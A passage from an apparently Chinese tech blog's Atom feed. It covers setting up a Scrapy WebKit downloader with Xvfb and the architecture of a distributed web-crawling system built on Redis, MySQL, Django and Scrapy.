&lt;p style="padding-bottom: 0px; border-right-width: 0px; margin: 0px 0px 1.62em; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;4 配置&lt;/p&gt;&#xD;
&lt;p style="padding-bottom: 0px; border-right-width: 0px; margin: 0px 0px 1.62em; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;在scrapy的settings.py中加入：&lt;/p&gt;&#xD;
&lt;div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px" dir="ltr"&gt;&#xD;
&lt;div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;&#xD;
&lt;div style="border-bottom: silver 1px solid; border-left: silver 1px solid; padding-bottom: 0px; overflow-x: auto; overflow-y: hidden; background-color: rgb(249,249,249); margin: 0px 0px 1.5em; padding-left: 0px; outline-width: 0px; width: 584px; padding-right: 0px; font-family: inherit; color: rgb(17,0,0); font-size: 15px; vertical-align: baseline; border-top: silver 1px solid; border-right: silver 1px solid; padding-top: 0px" &gt;&#xD;
&lt;div style="padding-bottom: 2px; border-right-width: 0px; margin: 0px; padding-left: 4px; outline-width: 0px; padding-right: 4px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: top; border-left-width: 0px; padding-top: 2px" &gt;&lt;pre style="padding-bottom: 0.75em; border-right-width: 0px; overflow-x: visible; overflow-y: visible; background-color: rgb(244,244,244); margin: 0px; padding-left: 1.62em; outline-width: 0px; width: auto; padding-right: 1.62em; font: 13px/1.333 'Courier 10 Pitch', Courier, monospace; white-space: pre; float: none; border-top-width: 0px; border-bottom-width: 0px; clear: none; vertical-align: baseline; border-left-width: 0px; padding-top: 0.75em; background-origin: initial; background-clip: initial" &gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; font-style: italic; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(128,128,128); font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;#which spider should use WEBKIT&lt;/span&gt;&#xD;
WEBKIT_DOWNLOADER=&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;[&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(72,61,139); font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;'ccb'&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;]&lt;/span&gt;&#xD;
&amp;nbsp;&#xD;
DOWNLOADER_MIDDLEWARES = &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;{&lt;/span&gt;&#xD;
    &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(72,61,139); font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;'rate_crawler.dowloader.WebkitDownloader'&lt;/span&gt;: &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,69,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;543&lt;/span&gt;,&#xD;
&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;}&lt;/span&gt;   &#xD;
&amp;nbsp;&#xD;
&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,119,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; font-weight: bold; padding-top: 0px"&gt;import&lt;/span&gt; &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(220,20,60); font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;os&lt;/span&gt;&#xD;
&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(220,20,60); font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;os&lt;/span&gt;.&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;environ&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;[&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(72,61,139); font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;"DISPLAY"&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;]&lt;/span&gt; = &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(72,61,139); font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;":0"&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;
&lt;p style="padding-bottom: 0px; border-right-width: 0px; margin: 0px 0px 1.62em; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;5 使用&lt;/p&gt;&#xD;
&lt;p style="padding-bottom: 0px; border-right-width: 0px; margin: 0px 0px 1.62em; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;启动 Xvfb (假设DISPLAY=:0)&lt;/p&gt;&#xD;
&lt;p style="padding-bottom: 0px; border-right-width: 0px; margin: 0px 0px 1.62em; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;要与settings.py中的DISPLAY对应（本例中是:0)。&lt;/p&gt;&#xD;
&lt;p style="padding-bottom: 0px; border-right-width: 0px; margin: 0px 0px 1.62em; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;scrapy crawl xxx&lt;/p&gt;&lt;/span&gt;&lt;img src="http://www.cnblogs.com/Safe3/aggbug/2217965.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Safe3/archive/2011/10/19/2217965.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Safe3/archive/2011/10/19/2217961.html</id><title type="text">快速构建实时抓取集群</title><summary type="text">定义：首先，我们定义一下定向抓取，定向抓取是一种特定的抓取需求，目标站点是已知的，站点的页面是已知的。本文的介绍里面，主要是侧重于如何快速构建一个实时的抓取系统，并不包含通用意义上的比如链接分析，站点发现等等特性。在本文提到的实例系统里面，主要用到linux+mysql+redis+django+scrapy+webkit，其中scrapy+webkit作为抓取端，redis作为链接库存储，mysql作为网页信息存储，django作为爬虫管理界面，快速实现分布式抓取系统的原型。名词解析：1. 抓取环：抓取环指的是spider在存储中获取url，从互联网上下载网页，然后将网页存储到数据库里面，.</summary><published>2011-10-19T10:31:00Z</published><updated>2011-10-19T10:31:00Z</updated><author><name>Safe3</name><uri>http://www.cnblogs.com/Safe3/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Safe3/archive/2011/10/19/2217961.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Safe3/archive/2011/10/19/2217961.html"/><content type="html">&lt;span style="widows: 2; text-transform: none; background-color: rgb(255,255,255); text-indent: 0px; font: 12px/22px 微软雅黑; white-space: normal; orphans: 2; letter-spacing: normal; color: rgb(1,1,1); word-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" &gt; &#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; color: rgb(1,1,1); padding-top: 0px"&gt;定义：&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; color: rgb(1,1,1); padding-top: 0px"&gt;首先，我们定义一下定向抓取，定向抓取是一种特定的抓取需求，目标站点是已知的，站点的页面是已知的。本文的介绍里面，主要是侧重于如何快速构建一个实时的抓取系统，并不包含通用意义上的比如链接分析，站点发现等等特性。&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; color: rgb(1,1,1); padding-top: 0px"&gt;&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; color: rgb(1,1,1); padding-top: 0px"&gt;在本文提到的实例系统里面，主要用到linux+mysql+redis+django+scrapy+webkit，其中scrapy+webkit作为抓取端，redis作为链接库存储，mysql作为网页信息存储，django作为爬虫管理界面，快速实现分布式抓取系统的原型。&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; color: rgb(1,1,1); padding-top: 0px"&gt;&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;名词解析：&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; color: rgb(1,1,1); padding-top: 0px"&gt;1. &amp;nbsp;抓取环：抓取环指的是spider在存储中获取url，从互联网上下载网页，然后将网页存储到数据库里面，最后在从存储里面获取下一个URL的一个流程。&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;2. &amp;nbsp;Linkbase：链接库的存储模块，包含一般的链接信息；是抓取系统的核心，使用redis存储。&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;3. &amp;nbsp;&lt;a style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; color: rgb(13,155,193); text-decoration: none; padding-top: 0px" href="http://www.w3school.com.cn/xpath/index.asp"&gt;XPATH&lt;/a&gt;：一门在 XML 文档中查找信息的语言，XPath 可用来在 XML 文档中对元素和属性进行遍历， 是 W3C XSLT 标准的主要元素。使用XPATH以及相关工具lib进行链接抽取和信息抽取。&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;4. &amp;nbsp;XPathOnClick：一个chrome的插件，支持点击页面元素，获取XPATH路径，用于编辑配置模板。&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;5. &amp;nbsp;&lt;a style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; color: rgb(13,155,193); text-decoration: none; padding-top: 0px" href="http://redis.io/"&gt;Redis&lt;/a&gt;：一个开源的KV的内存数据库，具备很好的数据结构的特征和很高的存取性能。用于存储linkbase信息&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;6. &amp;nbsp;&lt;a style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; color: rgb(13,155,193); text-decoration: none; padding-top: 0px" href="https://www.djangoproject.com/"&gt;Django&lt;/a&gt;：爬虫管理工具，用于模板配置，系统监控反馈。Django在这里主要是用来管理一个数据库，使用Admin功能。&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;7. &amp;nbsp; Pagebase：页面库，主要是存储网页抓取的结果，以及页面抽取的结果，和dump交互，使用mysql实现。&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;8. &amp;nbsp; &amp;nbsp;&lt;a style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; color: rgb(13,155,193); text-decoration: none; padding-top: 0px" href="http://scrapy.org/"&gt;Scrapy&lt;/a&gt;：一个开源的机遇twisted框架的python的单机爬虫，该爬虫实际上包含大多数网页抓取的工具包，用于爬虫下载端以及抽取端。&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;9.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 列表页：指的商品页面之外的所有页面&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;10. &amp;nbsp; &amp;nbsp;详情页：比如商品B2C的抓取中，特指商品页面，比如：http://item.tmall.com/item.htm?id=10321272374&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; color: rgb(1,1,1); padding-top: 0px"&gt;&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;系统架构&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;一：存储 redis+mysql&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;链接库（linkbase）是抓取系统的核心，基于性能和效率的考虑，本文采用基于内存的redis和磁盘的mysql为主，对于linkbase主要是存储抓取必须的链接信息，比如url，anchor，等等；对于mysql，则是存放抓取的网页，便于后续的抽取和处理。&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;a) &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PageBase：使用Mysql分库分表，存放网页，如下图：&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;&lt;img style="border-bottom: rgb(221,221,221) 1px solid; text-align: center; border-left: rgb(221,221,221) 1px solid; padding-bottom: 5px; background-color: rgb(243,243,243); margin: 10px; padding-left: 5px; padding-right: 5px; border-top: rgb(221,221,221) 1px solid; border-right: rgb(221,221,221) 1px solid; padding-top: 4px; border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-left-radius: 3px 3px"  alt="" src="http://www.searchtb.com/wp-content/uploads/2011/07/pagebase0.png" /&gt;&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;b)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Linkbase&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;使用Redis集群，存储linkbase信息。&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;a style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; color: rgb(13,155,193); text-decoration: none; padding-top: 0px" href="http://www.searchtb.com/wp-content/uploads/2011/07/linkbase1.png"&gt;&lt;img style="border-bottom: rgb(221,221,221) 1px solid; text-align: center; border-left: rgb(221,221,221) 1px solid; padding-bottom: 5px; background-color: rgb(243,243,243); margin: 10px; padding-left: 5px; padding-right: 5px; border-top: rgb(221,221,221) 1px solid; border-right: rgb(221,221,221) 1px solid; padding-top: 4px; border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-left-radius: 3px 3px"  alt="" src="http://www.searchtb.com/wp-content/uploads/2011/07/linkbase1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;几个基本的数据结构：&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;1：抓取队列 (candidate list)&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;分为待抓取的url队列和更新的url队列；队列存放urlhash，使用redis的list数据结构，对于新提取的url，push到对应的列表里面，对于spider抓取模块，从list pop得到。对于一个站点而言，抓取队列有两种类型：列表页抓取队列和详情页抓取队列。&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;2：链接库 (linkbase)&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;链接库实际上是存储链接信息的DB；Key是urlhash，Value是linkinfo，包含url，purl，anchor，xpath。。。；在redis使用hash存储，直接存放在redis的里面。KV链接库，不区分页面类型。&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;3：已抓取集合（crawled_set）&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;已抓取集合指的是当前已经下载的页面的urlhash，存放已经抓取的网页，使用redis的set实现，set的key是urlhash，score是时间戳，已抓取集合主要是用来记录哪一些页面已经抓取和抓取的时间，用于后续的更新页面调度以及抓取信息的统计。同抓取队列一样，每一个站点有两种类型的已抓取集合，详情页和列表页&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;二：调度模块：&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;调度模块是抓取系统的关键，调度系统的好坏决定了抓取系统的效率；这块是主要是在redis linkbase之上的数据结构，主要有抓取队列、抓取集合、抓取优先级等等数据结构组成；对于一个抓取循环来说：获取URL，提交到抓取模块的待抓取队列，启动抓取，抓取完成之后对新链接进行抽取，最后进入等待抓取的队列里面。&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;调度系统的基本配置：&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;a)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 频率（间隔多少秒）&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;b)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 各个抓取列表的选取比例：get_detail，mod_detail，get_list，mod_list&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;链接抽取：抽取页面的链接，进行除重，对于新的链接，插入到待抓取列表里&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;内容抽取：按照模块的配置XPATH，抽取页面信息，并写入到pagebase中。&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;离线调度：按照更新的比例，从crawled_set里面，定期选取url进入Mod队列里面进行刷新。&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;三：抓取模块：&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;抓取模块是抓取的必要条件，抓取模块来说，重要的是应付互联网上各式的问题，以及如何实现对对方站点的ip平衡，当然，这块是和调度系统的紧密结合的，对于抓取模块而言，本文主要使用scrapy工具包里面的下载模块。&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;首先，抓取模块从linkbase获取对应站点的抓取url，进行页面下载，然后将页面信息写回到pipeline中，并完成链接抽取和页面抽取，同时调用调度模块，插入到linkbase和pagebase中。&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;下载端设计：&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;IP：每台机器需要配置多个物理公网IP，下载的时候，随机选择一个IP下载&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;抓取频度调整：读取配置文件，按照配置文件的抓取频率进行选取url&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;四：配置界面：&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;配置界面主要是对抓取系统的管理和配置，包括：站点feed、页面模块抽取、报表系统的反馈等等。&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;&lt;/span&gt;&lt;/div&gt;&#xD;
